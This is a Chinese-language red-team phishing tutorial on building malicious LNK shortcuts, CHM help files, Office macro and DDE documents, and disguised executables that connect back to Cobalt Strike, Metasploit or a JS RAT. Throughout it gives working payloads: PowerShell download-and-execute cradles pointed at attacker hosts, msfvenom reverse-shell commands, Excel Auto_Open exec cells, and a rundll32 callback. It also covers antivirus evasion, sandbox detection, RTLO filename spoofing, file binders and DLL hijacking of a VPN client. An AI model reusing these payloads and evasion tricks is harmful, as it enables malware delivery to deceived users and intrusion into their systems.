首先说明一点:ftp加! 可以执行命令
首先创建一个ftp的快捷方式,然后新建一个文件名 aaa.dll ,然后内容为cs的后门恶意链接(powershell上线命令)
快捷方式的起始位置留空,目标为:C:\Winodws\System32\ftp.exe -""s:aaa.dll
快捷方式的图标以及名字可以进行适当的伪装
这里演示一下生成后门恶意链接
运行CS,根据图片点击:Scripted Wed Delivery(s)
主机地址为CS服务器端地址,监听使用之前的监听就可以,然后执行
这里就创建好了一个 powershell 的回连恶意链接 复制即可
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"
但是如果直接第三方调用powershell加参的话会被360等拦截,所以要采用无参调用
此方式与上述方式类似
首先查找后门绝对路径,可以提权后门的有很多文件,这里以 powershell.exe 进行演示
打开目录,找到路径为:
C:\Windows\System32\WindowsPowerShell\v1.0
生成后门恶意链接
创建 lnk 创建方式
将powershell恶意代码放入进行修改,将代码最前端添加绝对路径
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new- object net.webclient).downloadstring('http://x.x.x.x:80/a'))"
这里免杀的话,使用base64等等进行混淆
然后对该文件右键选择进行创建快捷方式,对快捷方式右键选择属性,在目标写入恶意回弹代码
可以对图标和名称进行适当的更改,之后就可以开始钓鱼了
使用 EasyCHM 可以轻松的新建一个 chm 文件
EasyCHM、Cobalt Strike、MyJSRat 钓鱼流程:制作html -> 制作chm文件 -> 伪装 -> 打开chm上线
首先创建个空文件夹
创建html文件,代码如下
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
注意:",payload",上面代码中为",calc.exe",此处,payload前面要加一个英文版的逗号,,否则打开chm文档时会出错
此处打开文档执行的calc,也就是计算器
Easy CHM制作CHM文档
新建工程
工程目录选择我们建立的test文件夹(html文件放在文件夹内)
点击编译 生成CHM
双击打开查看
弹出计算机
尝试使用 Cobalt Strike 木马 + CHM 上线
Cobalt Strike -> 点击attacks -> web Drive by -> scriped web Delivery
上文有详细步骤
设立好监听点击开始
然后将 calc.exe 替换为:
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/test'))">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
注意:exe后面要再加一个英文版逗号,否则无法执行exe,再是注意生成出来的payload字符串的双引号跟单引号的冲突
再重新生成,查看是否上线
MyJSRat配合CHM进行上线
MyJSRat下载地址:https://github.com/Ridter/MyJSRat
python2运行下面的命令:
此处使用交互模式
python2 MyJSRat.py -i 192.168.27.180 -p 8080
Kali Linux 运行访问
复制代码替换payload,记得加上逗号
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.27.180:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
然后重新生成CHM并且执行
在kali上可以进行命令交互
CHM内容伪装
先拿一个正常的CHM文档内容,转为html
通过hh命令,转为html
hh -decompile .[\\html](file://html) CSS2.0中文手册.chm
钓鱼html嵌入到 html/css2/c_color.html
工程目录选择css2
注意此处,一定要诱导用户点击到 c_color.html 模块才可以
(1)利用powershell无参运行,但是要把powershell脚本打包编译成chm,然后利用自带hh.exe 。hh.exe具有decompile(反编译,将chm返回成html,其实就类似chm可以比喻成一个压缩包,decompile是解压缩)的功能,可以将打包进chm的文件释放出来。
HH.EXE -decompile C:\Windows\Temp ./XMLconvert.chm
(2) CHM本身支持js(jscript)语法,可以利用c#写个弹shell的,然后利用利用DotNetToJScript转js,然后在把js混淆加密进行打包免杀,利用cscript或者wscript来执行js。类似的还有执行hta文件等等。
HTA 是 HTML Application 的缩写,直接将 HTML 保存成 HTA 的格式,是一个独立的应用软件。HTA虽然用HTML、JS和CSS编写,缺比普通网页权限大得多,它具有桌面程序的所有权限。就是一个 html 应用程序,双击就可以运行
正常是msf生成的hta文件弹shell,假设目标存在命令执行的漏洞,那么咱们在目标上执行如下即可返回msf的shell
mshta http://127.0.0.1:8080/xxx.hta
远程调用一般会被杀,最好本地运行
利用github开源项目可以绕过部分waf
https://github.com/mdsecactivebreach/CACTUSTORCH
正常操作是利用cs生成宏代码,复制到vb里面去
然后显示的是宏被禁用,为了增强迷惑性,可以进行编辑一下
首先在word选项中开启开发工具
然后把宏打开
创建一个 test.doc
然后点击 Visual Basic
使用Cobalt Strike 生成木马
点击添加一个监听端口,注意:如果端口在防火墙上策略有误,则会导致反弹失败
将代码粘贴到刚才打开的地方
然后保存即可
doc格式和其它启用宏的模板的格式都可以
doc格式和原来格式的图标一样
运行文件,发现cs上线
可以使用EvilClippy进行免杀
https://github.com/outflanknl/EvilClippy
使用一个正常的vba文件和恶意文件来进行混淆,来躲避杀软检测
Excel文件也可以进行钓鱼
新建一个Excel,在左下角的sheet处右键单击,选择插入:
在弹出的对话框中选择 MS Excel 4.0 宏表,点击确定
完成之后左下角多了一栏 宏
分别在A1和A2输入
=exec("c:\windows\system32\cmd.exe")
=halt()
并将A1改为Auto_Open,修改完回车,这样就可以一打开文件就加载指令最后保存为xlsm后缀的文件
这里的exec其实是执行的cmd命令,我们可以借此来上线CS等操作
(1)使用远程加载XSL文件达到免杀
https://github.com/sevagas/macro_pack
https://github.com/mdsecactivebreach/SharpShooter
(2)高级VBA宏免杀
参考 https://www.certego.net/en/news/advanced-vba-macros/
是一种把一个文件嵌入到另一个文件中的技术
msfvenom -p windows/meterpreter/reverse_http lhost=ip lport=port -f vbs -o payload.vbs
在开源的 openoffice 中可以直接只有DDE函数,像 =DDE("cmd";"/C calc";"123") 这样调用。而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDe。
注意:该方法的提示窗口只提示 application 而不提示 topic
excel:(如果前缀是"="、"+" 或 "-",则将其余部分视为表达式)
=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://XXXX/getshell.ps1");IEX $e'!_xlbgnm.A1
word:
打开一个新的word文档,按下键盘的组合键 CTRL + F9 ,在文档中出现"{}"之后,将下面的这段代码复制到两个大括号之间
{ DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }
msf中可直接用,生成一个rtf文档,点击即可上线
use exploit/windows/fileformat/office_dde_delivery
set lport 4444
set lhost xx.xx.xx.xx
这个方式的原理是,如果我们往word中插进联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。
一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作
<html>
<body>
<script>
var a = document.createElement('a');
console.log(a);
document.body.appendChild(a);
a.style = 'display: none';
a.href = "http://149.129.64.180/evil.exe"; //该行若存在,打开word文件会报错
a.download = fileName;
window.URL.revokeObjectURL(url);
</script>
<script>
a.click();
</script>
</body>
</html>
原理是,先创建一个带模板的文档,再创一个启用宏的模板文件。然后在带模板的文档的压缩包里面修改一些内容,使其指向的模板修改为我们自己创建的模板文件,这之间的过程可以由smb协议完成,故过查杀几率较高。
我们在启用宏的模板文件(doc3.dotm)里写入宏。
Sub AutoOpen()
Shell "calc"
End Sub
Office历史上出现的可导致远程命令执行的漏洞有很多、如:CVE-2017-0199、CVE-2017-8570、CVE-2017-8759、CVE-2017-11882、CVE-2018-0802 等
CVE-2017-0199
https://github.com/bhdresh/CVE-2017-0199
影响版本:office 2016、2013、2010、2007
CVE-2017-11882
影响版本:office 2016、2013、2010、2007、2003
CVE-2018-0802
影响版本:office 2016、2013 Server Pack1、2010 Server Pack2、2007 Server Pack3
运行程序比如可以选用cs powershell 的代码。选择ppsx进行保存
然后弹出的窗口处
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php',\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""
然后将格式保存为ppsx格式保存即可 执行即可上线
利用 msfvenom 生成一段 shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp -f num LHOST=192.168.141.136 LPORT=1234
利用 golang ,将shellcode进行异或
进行编译(在windows进行编译)
go build xxx.go运行即可
也可以利用aes加密等等
C#编译成exe -> exe -> 转js -> js混淆
利用DotNetToJScript转exe为js
使用msf生成一个PHP马(也可以其他语言的,比如perl啥的)
msfvenom -a x86 --platform Windows -p php/meterpreter_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f raw > shell.php
利用bamcompile将php转为exe
bamcompile -w -c shell.php shell.exe
分离一般分2种,一个是远程加载shellcode,另外是通过运行程序的时候将加密数据传入
远程加载可以利用socket创建套接字或者直接http请求远程地址,钓鱼的时候可以将shellcode放在使用说明啥的
shellcode loader github开源项目很多
主要思想:判断父进程是否为Debugger:在沙盒内被调试
判断时间是否被加速:一般沙盒内的程序时间都会加速
判断系统盘是否大于50GB:一个正常的PC的系统盘都会大于50GB
虚拟机其他特征
1、图标伪装
这里使用 Restorator 2018 小工具进行图标修改
激活将附带的激活码填入即可
然后使用 Restorator 修改图标
直接点击exe文件拖入即可,如果没有图标文本的话,可以在电脑找一个exe格式的图标拖入,然后显示图标后复制过来即可
图标的话需要ico格式
https://www.easyicon.net/iconsearch/⾳乐ico/
http://www.bitbug.net/在线制作ico图标
在这⾥下载图标,并在bitbug转换格式即可!
更改图标直接再图标处右键导入
2、RTLO
通过重命名,在a后面右键,插入Unicode控制字符 -> RLO
实测钓鱼方式有些古老,不管是不是病毒只要使用此方式伪装,360都会查杀
3、rar解压自运行
木马文件:artifact.exe 迷惑文件:calc.exe
进入winrar,选中这两个文件,右键添加至压缩包,创建自解压格式压缩文件
高级 -> 自解压选项 -> 设置
提取前打开伪装文件,提取后运行马
模式 -> 全部隐藏
更新 -> 解压并更新文件,覆盖所有文件
双击可以打开计算机,CS上线
部分敏感行为可操作windowsAPI
比如360对添加用户会拦截
可以操作以下两个API绕过
NetUserAdd
NetLocalGroupAddMembers
其他的免杀还有内存(一般可用壳,但大多基本壳都在waf的特征库中)、花指令等等
DLL劫持指的是病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序预先准备好的恶意DLL
如下面图片中的,LPK.dll是应用程序运行所需要加载的DLL,该系统文件默认在C:\Winodws\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作
在蓝队可以利用此方法反制红队,例如在准备好的虚拟机中点击红队的钓鱼邮件,并准备一些让红队感兴趣的东西
比如梯子的安装包以及梯子的账号密码
这里可能会用到拿破轮胎大佬写的DLL注入工具
使用方法:
1.输入CS或者msf生成的shellcode生成免杀DLL文件
2.添加需要劫持的软件或者dll
3.劫持过后会在运行目录生成一个DLL和配置文件
4.需要把两个文件放在被劫持的软件同目录下才可以运行
注意:
本文采用EasyConnectInstaller做测试,使用其他软件测试的话,可以使用Process Monitor来对系统进程进行监控,找到系统程序调用DLL的情况
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
参考文章:
https://blog.csdn.net/weixin_35771144/article/details/111056447
使用CS生成shellcode
把shellcode放入工具然后生成dll即可
选择DLL处选择生成的DLL
注入目标为
C:\Program Files (x86)\Sangfor\SSL\SangforCSClient 下的
注入到注册表后,将 wwwcomw.dll 和 conf.inf 放入到软件目录下
然后运行即可上线
然后接下来使用NSIS重新制作安装包
使用NSIS制作安装包可以参考: https://www.cnblogs.com/modou/p/3573772.html
1、CS生成exe的payload
2、exe-payload 放置公网服务器
3、再CS生成python-payload
4、将python-payload转base64值
5、base64值的payload再用序列化转码
6、序列化转码后的payload再用反序列化转码
7、转成反序列化后的payload再用python3的tinyaes混淆
8、混淆完再用另外的东西加壳成对方环境执行的文件类型即可
可以查查掩日
最终形成的文件类型,执行的原理仅仅是运行下载公网服务器第一步上次的payload并运行
GoFildBinder
https://github.com/Yihsiwei/GoFileBinder
golang免杀捆绑器 捆绑器免杀效果会持续更新下去
使用以下命令进行捆绑器编译
go build GoFileBinder.go
使用以下命令生成捆绑文件(注:GoFileBinder.exe单独放入一个文件夹中)
GoFileBinder.exe 木马.exe xxx.txt
也可以尝试使用kali自带的upx
包含邮件服务器相关环境搭建,邮件信息收集,参考:
https://www.freebuf.com/articles/web/260391.html
源码: https://github.com/r00tSe7en/Fake-flash.cn
尝试自解压或者配合捆绑
制作钓鱼网站,克隆网站
cs,msf 都有这个功能
setoolkit